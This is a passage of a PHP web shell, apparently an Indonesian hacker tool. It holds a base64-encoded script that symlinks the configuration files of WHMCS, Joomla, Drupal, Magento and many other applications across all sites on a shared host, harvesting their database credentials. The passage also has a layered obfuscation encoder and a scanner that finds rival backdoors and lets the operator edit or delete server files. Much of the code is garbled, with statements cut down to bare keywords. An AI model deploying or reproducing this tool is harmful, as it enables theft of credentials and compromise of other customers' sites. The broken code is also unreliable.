fY29yZS5waHAxLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NjL2luY2x1ZGVzL2NsYXNzX2NvcmUucGhwJywkc2l0ZXNzLictdmJsdXR0aW5+Y2xhc3NfY29yZS5waHAyLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXdobTE1LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NlbnRyYWwvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG0tY2VudHJhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG0td2htY3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvd2htL1dITUNTL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictd2htLVdITUNTLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobWMvV0hNL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictd2htYy1XSE0udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG1jcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictc3VwcG9ydC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBwL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictc3VwcC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zZWN1cmUvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1zdWN1cmUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc2VjdXJlL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXN1Y3VyZS13aG0udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc2VjdXJlL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictc3VjdXJlLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NwYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWNwYW5lbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXBhbmVsLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3QvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1ob3N0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictaG9zdHMudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc3VibWl0dGlja2V0LnBocCcsJHNpdGVzcy4nLXdobWNzMi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictY2xpZW50cy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGllbnRlcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jbGllbnRlL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictY2xpZW50LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGllbnRzdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1iaWxsaW5nLnR4dCcpOyANCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tYW5hZ2UvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG0tbWFuYWdlLnR4dCcpOyANCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9teS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXdobS1teS50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictd2htLW15c2hvcC50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkc2l0ZXNzLictemVuY2FydC50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRzaXRlc3MuJy1zaG9wLXplbmNhcnQudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkc2l0ZXNzLictc2hvcC1aQ3Nob3AudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc21mL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZjIudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2ZvcnVtL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi1mb3J1bS50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvZm9ydW1zL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi1mb3J1bXMudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3VwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdXAudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYXJ0aWNsZS9jb25maWcucGhwJywkc2l0ZXNzLictTndhaHkudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3VwL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRzaXRlc3MuJy11cDIudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZl9nbG9iYWwucGhwJywkc2l0ZXNzLictNi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9pbmNsdWRlL2RiLnBocCcsJHNpdGVzcy4nLTcudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29ubmVjdC5waHAnLCRzaXRlc3MuJy1QSFAtRnVzaW9uLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL21rX2NvbmYucGhwJywkc2l0ZXNzLictOS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jb25maWcucGhwJywkc2l0ZXNzLictNGltYWdlcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsJHNpdGVzcy4nLURydXBhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tZW1iZXIvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy0xbWVtYmVyLnR4dCcpIDsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1iaWxsaW5ncy50eHQnKSA7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXdobS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBwb3J0cy9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXN1cHBvcnRzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3JlcXVpcmVzL2NvbmZpZy5waHAnLCRzaXRlc3MuJy1BTTRTUy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3N1cHBvcnRzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLXN1cHBvcnRzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NsaWVudC9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc3VwcG9ydC9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1zdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2JpbGxpbmcvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtYmlsbGluZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9iaWxsaW5ncy9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1iaWxsaW5ncy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9ob3N0L2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLWhvc3QudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaG9zdHMvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtaG9zdHMudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaG9zdGluZy9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RpbmdzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLWhvc3RpbmdzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RiaWxsaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtaG9zdGJpbGxzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLWhvc3RiaWxsLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FwcC9ldGMvbG9jYWwueG1sJywkc2l0ZXNzLictTWFnZW50by50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hZG1pbi9jb25maWcucGhwJywkc2l0ZXNzLictT3BlbmNhcnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlnL3NldHRpbmdzLmluYy5waHAnLCRzaXRlc3MuJy1QcmVzdGFzaG9wLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NvbmZpZy9rb25la3NpLnBocCcsJHNpdGVzcy4nLUxva29tZWRpYS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9sb2tvbWVkaWEvY29uZmlnL2tvbmVrc2kucGhwJywkc2l0ZXNzLictTG9rb21lZGlhLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3NsY29uZmlnLnBocCcsJHNpdGVzcy4nLVNpdGVsb2NrLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FwcGxpY2F0aW9uL2NvbmZpZy9kYXRhYmFzZS5waHAnLCRzaXRlc3MuJy1FbGxpc2xhYi50eHQnKTsNCn0NCnByaW50ICI8YnI+PGJyPjxicj48Zm9udCBjb2xvcj1yZWQ+RG9uZSAhISA8aW1nIHNyYz0naHR0cDovL2kuaW1ndXIuY29tL0x0dWtFSk4ucG5nJyAgaGVpZ2h0PSc3MCcgd2lkdGg9JzYwJz48L2ZvbnQ+IjsNCg==';
486. $file = fopen("vhost.cin" ,"w+");
487. $write = fwrite ($file ,base64_decode($xaivhost));
488. fclose
489. chmod
490. echo "<a href='vhost'>Klik Ini</a>"
491. }
492. ?>
493. </body>
494. </html>
495. <?php
496. } elseif($_GET['do'] == 'ende') {
498. @ini_set('output_buffering',0);
499. @ini_set('display_errors', 0);
500. $text = $_POST['mbutt'];
501. ?>
502. <body >
503. <center>
504. <br>
505. <form method="post"><br>
506. <textarea class='inputz' cols=30 rows=5 name="mbutt" style="background:transparent;color:aqua;"></textarea><br><br>
507. <select class='inputz' size="1" name="ope" style="background:red;color:aqua;">
508. <option style='background:transparent;color:aqua;'><center>[#] Encryption [#]</option>
509. <option value="urlencode" style='background:transparent;color:aqua;'>url</option>
510. <option value="base64" style='background:transparent;color:aqua;'>Base64</option>
511. <option value="ur" style='background:transparent;color:aqua;'>convert_uu</option>
512. <option value="json" style='background:transparent;color:aqua;'>json</option>
513. <option value="gzinflates" style='background:transparent;color:aqua;'>gzinflate - base64</option>
514. <option value="str2" style='background:transparent;color:aqua;'>str_rot13 - base64</option>
515. <option value="gzinflate" style='background:transparent;color:aqua;'>str_rot13 - gzinflate - base64</option>
516. <option value="gzinflater" style='background:transparent;color:aqua;'>gzinflate - str_rot13 - base64</option>
517. <option value="gzinflatex" style='background:transparent;color:aqua;'>gzinflate - str_rot13 - gzinflate - base64</option>
518. <option value="gzinflatew" style='background:transparent;color:aqua;'>str_rot13 - convert_uu - url - gzinflate - str_rot13 - base64 - convert_uu - gzinflate - url - str_rot13 - gzinflate - base64</option>
519. <option value="str" style='background:transparent;color:aqua;'>str_rot13 - gzinflate - str_rot13 - base64</option>
520. <option value="url" style='background:transparent;color:aqua;'>base64 - gzinflate - str_rot13 - convert_uu - gzinflate - base64</option>
521. <option value="hexencode" style='background:transparent;color:aqua;'>Hex Encode/Decode</option>
522. <option value="md5" style='background:transparent;color:aqua;'><center>MD5 Hash</option>
523. <option value="sha1" style='background:transparent;color:aqua;'>SHA1 Hash</option>
524. <option value="str_rot13" style='background:transparent;color:aqua;'>ROT13 Hash</option>
525. <option value="strlen" style='background:transparent;color:aqua;'>strlen</option>
526. <option value="xxx" style='background:transparent;color:aqua;'>unescape</option>
527. <option value="bbb" style='background:transparent;color:aqua;'>charAt</option>
528. <option value="aaa" style='background:transparent;color:aqua;'>chr - bin2hex - substr</option>
529. <option value="www" style='background:transparent;color:aqua;'>chr</option>
530. <option value="sss" style='background:transparent;color:aqua;'>htmlspecialchars</option>
531. <option value="eee" style='background:transparent;color:aqua;'>escape</option></select><br><input class='inputzbut' type='submit' name='submit' value='Encode' style="background:transparent;color:aqua;">
532. <input class='inputzbut' type='submit' name='crack' value='Decode' style="background:transparent;color:aqua;"><br>
533. </select> 
534. </form>
535. <?php
536. $submit = $_POST['submit'];
537. if
538. $op = $_POST["ope"];
539. switch
540. break
541. break
542. break
543. break
544. break
545. break
546. break
547. break
548. break
549. break
550. break
551. break
552. break
553. break
554. break
555. break
556. break
557. break
558. break
559. break
560. break
561. break
562. break
564. $submit = $_POST['crack'];
565. if
566. $op = $_POST["ope"];
567. switch
568. break
569. break
570. break
571. break
572. break
573. break
574. break
575. break
576. break
577. break
578. break
579. break
580. break
581. $html = htmlentities(stripslashes($codi));
582. echo "<from><center><h3><font size=4 face=chiller color=aqua>Global Network</h3></center><textarea cols=70 rows=20 style='onfocus();font-weight:bold;color:red;background-image: transparent;opacity:0.40;background-size:100%;background-repeat: no-repeat;' class='inputz' readonly>" .
583. ?>
584. <footer style="text-shadow: 0 0 6px #FF0000, 0 0 5px #FF0000, 0 0 5px #FF0000; position:fixed; left:1px; right:0px; top:0px; border-bottom: 1px solid red ;">
585. <center><b><font face="Quicksand" color="black" size="3" style="text-shadow: 0 0 5px #2f2b2b, 0 0 10px #2f2b2b, 0 0 20px #2f2b2b, 0 0 45px #2f2b2b, 0 0 40px #2f2b2b;">
586. <font face="Agency FB" color="red" size="4" style="text-shadow: 0 0 6px black, 0 0 5px black, 0 0 5px black;"></footer>
587. <?php
588. } elseif($_GET['do'] == 'shellscanner') {
589. ?>
590. <script language="JavaScript" type="text/JavaScript">
591. 
596. </script>
597. <style type="text/css">
598. 
619. </style>
620. <style type="text/css">
621. #patch {position:absolute; height:1; width:1px; top:0; left:0;}
622. </style>
623. </head>
624. <body>
625. <center>
626. <img src="http://i1159.photobucket.com/albums/p622/dvildance/aSSD_zps055e1ce7.gif">
627. <center><font color="#339900" size="14" face="arial">Backdoor Scanner</font></center><br>
628. <?php
629. if
630. if
631. $filename = $_GET['file'];
632. echo "<br><br><br><font color=red size=3><b><center>" .
633. unlink
634. echo "<META HTTP-EQUIV=Refresh CONTENT=" 2
635. }else{
636. if
637. $filename = $_POST['file'];
638. if
639. $handle = fopen($filename, "w+");
640. $isi=$_POST['content'];
641. fwrite
642. fclose
643. $stat= "<center><strong>edited successfully<br>";
644. } else {
645. $stat= "<center><font color=red><strong>Error! File may not be writable.</font></center>";
646. }
647. }
648. if
649. echo "<META HTTP-EQUIV=Refresh CONTENT=" 0
650. }
651. $filename = $_GET['file'];
652. if
653. $vuln = $_GET['bug'];
654. $handle = fopen($filename, "r");
655. $contents = fread($handle, filesize($filename));
656. ?>
657. <center>
658. <table>
659. <tr><td align="left" class="me"><strong><?=$filename?>  >> Contains : <?=$vuln?></strong></td></tr>
660. <tr><td class="me">
661. <form method="post" action="">
662. <input type="hidden" name="file" value="<?=$filename?>">
663. <textarea name="content" cols="80" rows="15"><?=htmlspecialchars($contents)?></textarea><br>
664. </td></tr>
665. <tr><td align="center" class="me">
666. <?php
667. if
668. echo "Are you sure to delete " .
669. ?>
670. <tr><td align="center" class="me">
671. <input type="submit" name="yes" value=" Y E S ">
672. <input type="submit" name="no" value=" N O ">
673. </td></tr>
674. <?php
675. }else{
676. echo
677. ?>
678. </td></tr>
679. <tr><td align="right" class="me">
680. <input type="submit" name="close" value=" C l o s e ">
681. <input type="submit" name="delete" value=" D e l e t e ">
682. <input type="submit" name="update" value=" S a v e ">
683. </td></tr>
684. <?php
685. }
686. fclose
687. ?>
688. </table>
689. </form>
690. <?php
691. }else{
692. echo "<br><br><br><font color=red size=3><b><center>" .
693. echo "<META HTTP-EQUIV=Refresh CONTENT=" 4
694. }
695. ?>
696. </center>
697. <?php
698. }
699. }elseif(isset($_POST['Submit'])){
700. $ceks = array('base64_decode','system','passthru','popen','exec','shell_exec','eval','move_uploaded_file');
701. foreach
702. if
703. $six.=$_POST[$ceker].".";
704. }
705. }
707. $cek = explode('.', $six);
709. function ListFiles
710. if
712. $files = Array();
713. $inner_files = Array();
715. while
716. if
717. if
718. $inner_files = ListFiles($dir . "/" . $file);
719. if
720. } else {
721. array_push
722. }
723. }
724. }
726. closedir
727. return
728. }
729. }
730. ?>
731. <center>
732. <table border="0" width="90%" cellpadding="5">
733. <tr>
734. <td align="right" width="30"><b>No</b></td>
735. <td align="center" width="105"><b> T y p e </b></td>
736. <td align="center"><b> F i l e  L o c a t i o n </b></td>
737. <td align="center" width="150"><b> L a s t  E d i t </b></td>
738. <td align="right" width="80"><b>F i l e  S i z e</b></td>
739. </tr><br>
740. <?php
741. $target=$_SERVER['DOCUMENT_ROOT'];
742. foreach
743. $nFile = substr($file, -4, 4);
744. if
745. if
746. }else{
747. $ops = @file_get_contents($file);
748. $op=strtolower($ops);
749. $arr = array('c99_buff_prepare' => 'c 9 9',
750. 'abcr57' => 'r 5 7');
751. $sis=0;
752. if
753. $size=filesize($file);
755. $last=date("M-d-Y H:i", $last_modified);
756. foreach
757. if
758. $sis=1;
759. $i++;
760. ?>
761. <tr style ="background-color: Your background Color;" onmouseover="mover(this)" onmouseout="mout(this)">
762. <td align="right"><font color="red"><blink><?=$i?></blink></font></td>
763. <td align="center"><font color="red"><blink><?=$val?></blink></font></td>
764. <td align="left"><blink>
765. <a href="#" class="abunai" onclick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$val?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a>
766. </blink></td>
767. <td align="center"><font color="red"><blink><?=$last?> GMT+9</blink></font></td>
768. <td align="right"><font color="red"><blink><?=$size?> byte</blink></font></td>
769. <script language="javascript">
770. var bgcolor
771. var change_color
772. function mover
773. aa .style.backgroundColor
774. }
775. function mout
776. aa .style.backgroundColor
777. }
778. </script>
779. </tr>
780. <?php
781. }
782. }
783. if
784. if
785. $sis="2";
786. $i++;
787. $val="hidden shell";
788. ?>
789. <tr style ="background-color: Your background Color;" onmouseover="mover(this)" onmouseout="mout(this)">
790. <td align="right"><font color="blue"><?=$i?></font></td>
791. <td align="center"><font color="blue"><?=$val?></font></td>
792. <td align="left">
793. <a href="#" class="xxx" onclick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$val?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a>
794. </td>
795. <td align="center"><font color="blue"><?=$last?> GMT+9</font></td>
796. <td align="right"><font color="blue"><?=$size?> byte</font></td>
797. <script language="javascript">
798. var bgcolor
799. var change_color
800. function mover
801. aa .style.backgroundColor
802. }
803. function mout
804. aa .style.backgroundColor
805. }
806. </script>
807. </tr>
808. <?php
809. }
810. }
811. if
812. foreach
813. if
814. if
815. $i++;
816. ?>
817. <tr style ="background-color: Your background Color;" onmouseover="mover(this)" onmouseout="mout(this)">
818. <td align="right"><?=$i?></td>
819. <td align="center"><?=$bugs?></td>
820. <td align="left">
821. <a href="#" onclick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$bugs?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a>
822. </td>
823. <td align="center"><?=$last?> GMT+9</td>
824. <td align="right"><?=$size?> byte</td>
825. <script language="javascript">
826. var bgcolor
827. var change_color
828. function mover
829. aa .style.backgroundColor
830. }
831. function mout
832. aa .style.backgroundColor
833. }
834. </script>
835. </tr>
836. <?php
837. }
838. }
839. }
840. }
841. if
842. $text=$_POST['textV'];
843. if
844. $i++;
845. ?>
846. <tr style ="background-color: Your background Color;" onmouseover="mover(this)" onmouseout="mout(this)">
847. <td align="right"><?=$i?></td>
848. <td align="center"><?=$text?></td>
849. <td align="left">
850. <a href="#" onclick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$text?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a>
851. </td>
852. <td align="center"><?=$last?> GMT+9</td>
853. <td align="right"><?=$size?> byte</td>
854. <script language="javascript">
855. var bgcolor
856. var change_color
857. function mover
858. aa .style.backgroundColor
859. }
860. function mout
861. aa .style.backgroundColor
862. }
863. </script>
864. </tr>
865. <?php
866. }
869. }
870. }
871. }
872. }
873. if
874. foreach
875. if
876. $x++;
877. ?>
878. <tr style ="background-color: Your background Color;" onmouseover="mover(this)" onmouseout="mout(this)">
879. <td align="right"><?=$x?></td>
880. <td align="center"><?=$bugs?></td>
881. <td align="center"> not exist </td>
882. <td align="center"> no record </td>
883. <td align="right"> -    byte </td>
884. </tr>
885. <?php
886. }
887. }
888. }
889. ?>
890. </table>
891. <?php
892. }else{
893. $find = array('default','base64_decode','system','passthru','popen','exec','shell_exec','eval','move_uploaded_file');
894. ?>
895. <form id="fCheck" name="fCheck" method="post" action="" autocomplete="off">
896. <center>
897. <table class="single" width="400" border="1" -webkit-box-shadow: 0px 0px 15px #55FF55; cellpadding="10">
898. <tr><td class="me"><center>
900. <table class="me" width="200">
901. <tr><td class="me">
902. <script language="javascript">
903. function cekKlik
904. if
905. document .fCheck.textV.disabled
906. else
907. document .fCheck.textV.disabled
908. if
909. master
910. }else{
911. if
912. master
913. }else{
914. master
915. }
916. }
917. if
918. document .fCheck.Submit.disabled
919. }else{
920. document .fCheck.Submit.disabled
921. }
922. }
923. </script>
924. <?php
925. //dari sini
926. foreach
927. ?>
928. <script language="javascript">
929. var master
930. function checkValue
931. if
932. master
933. }else{
934. if
935. master
936. }else{
937. master
938. }
939. }
940. if
941. document .fCheck.Submit.disabled
942. }else{
943. document .fCheck.Submit.disabled
944. }
945. }
946. </script>
947. <input onclick="checkValue<?=$bug?>();" name="<?=$bug?>" type="checkbox" id="<?=$bug?>" value="<?=$bug?>" /> <?=$bug?><br>
948. <?php
949. }
950. ?>
